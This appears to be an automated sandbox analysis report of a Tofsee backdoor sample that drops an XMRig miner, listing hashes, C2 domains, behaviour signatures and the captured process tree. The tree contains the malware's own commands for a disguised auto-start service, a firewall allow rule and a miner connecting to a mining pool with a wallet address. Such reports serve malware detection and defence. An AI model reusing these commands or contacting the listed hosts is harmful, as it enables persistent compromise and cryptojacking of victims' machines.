Analysis

  • max time kernel
    148s
  • max time network
    184s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 02:12

General

  • Target
    file.exe
  • Size 228KB
  • Sample221022-cmvsvsabfn
  • SHA256 b6a267b5e52bcff797dcaa4d416c61c4b06c96a42a2d7a17e060f9674d71086c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vnwbxfop\
      2⤵
        PID:1664
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe" C:\Windows\SysWOW64\vnwbxfop\
        2⤵
          PID:1580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vnwbxfop binPath= "C:\Windows\SysWOW64\vnwbxfop\qgzxudkj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vnwbxfop "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vnwbxfop
          2⤵
          • Launches sc.exe
          PID:1872
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1356
      • C:\Windows\SysWOW64\vnwbxfop\qgzxudkj.exe
        C:\Windows\SysWOW64\vnwbxfop\qgzxudkj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:876
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1568

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            qgzxudkj.exe

            • Path C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe
            • Size 10.6MB
            • SHA256 d45a35a845b77194ad0f4cd62c43f0652434981babec850f857448659b933b80
            • MD5 SHA1 SHA512 SSDEEP

            qgzxudkj.exe

            • Path C:\Windows\SysWOW64\vnwbxfop\qgzxudkj.exe
            • Size 10.6MB
            • SHA256 d45a35a845b77194ad0f4cd62c43f0652434981babec850f857448659b933b80
            • MD5 SHA1 SHA512 SSDEEP

            memory/876-82-0x0000000000400000-0x0000000002C27000-memory.dmp

            memory/876-80-0x0000000002CB8000-0x0000000002CCE000-memory.dmp

            memory/876-68-0x0000000002CB8000-0x0000000002CCE000-memory.dmp

            memory/1504-84-0x00000000018E0000-0x0000000001AEF000-memory.dmp

            memory/1504-96-0x00000000058B0000-0x0000000005CBB000-memory.dmp

            memory/1504-90-0x0000000000180000-0x0000000000190000-memory.dmp

            memory/1504-83-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1504-93-0x00000000001D0000-0x00000000001D5000-memory.dmp

            memory/1504-87-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1504-76-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1504-102-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1504-99-0x00000000001E0000-0x00000000001E7000-memory.dmp

            memory/1504-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1568-103-0x0000000000120000-0x0000000000211000-memory.dmp

            memory/1568-105-0x0000000000120000-0x0000000000211000-memory.dmp

            memory/1964-70-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1964-54-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1964-55-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1964-56-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1964-71-0x0000000000400000-0x0000000002C27000-memory.dmp

            memory/1964-57-0x0000000075A11000-0x0000000075A13000-memory.dmp

            memory/1964-58-0x0000000000400000-0x0000000002C27000-memory.dmp

            memory/1964-59-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1964-60-0x0000000000220000-0x0000000000233000-memory.dmp